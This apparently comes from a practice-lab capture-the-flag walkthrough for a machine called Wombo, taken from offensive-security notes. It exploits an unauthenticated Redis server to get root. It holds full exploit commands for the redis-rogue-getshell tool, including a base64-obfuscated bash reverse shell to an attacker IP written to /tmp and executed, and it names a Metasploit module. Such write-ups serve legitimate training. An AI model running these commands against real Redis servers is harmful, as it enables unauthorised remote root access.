> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/warm-up/wombo.md).

# Wombo

### Enumeration

```
6379/tcp  open   redis      Redis key-value store 5.0.9
```

```
$ redis-cli -h 192.168.178.69
```

No need password for redis access.

Redis(<=5.0.5) RCE - Works on 5.0.9

<https://github.com/vulhub/redis-rogue-getshell>

### Access

```
$ git clone https://github.com/vulhub/redis-rogue-getshell.git
$ cd redis-rogue-getshell
$ cd RedisModulesSDK
$ make
$ cd ..

$ python3 redis-master.py -r 192.168.178.69 -p 6379 -L 192.168.49.178 -P 80 -f RedisModulesSDK/exp.so -c "id"

euid=0(root) gid=0(root) groups=0(root)
```

**Reverse shell ->**

```
/bin/bash -i >& /dev/tcp/192.168.49.178/8080 0>&1 - Base64 Encoded

$ python3 redis-master.py -r 192.168.178.69 -p 6379 -L 192.168.49.178 -P 80 -f RedisModulesSDK/exp.so -c "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDkuMTc4LzgwODAgMD4mMQ== | base64 -d > /tmp/shell.sh"

$ python3 redis-master.py -r 192.168.178.69 -p 6379 -L 192.168.49.178 -P 80 -f RedisModulesSDK/exp.so -c "bash -p /tmp/shell.sh"
```

**Alternative way:**

Using metasploit :)

```
msf6 exploit(linux/redis/redis_replication_cmd_exec) >
```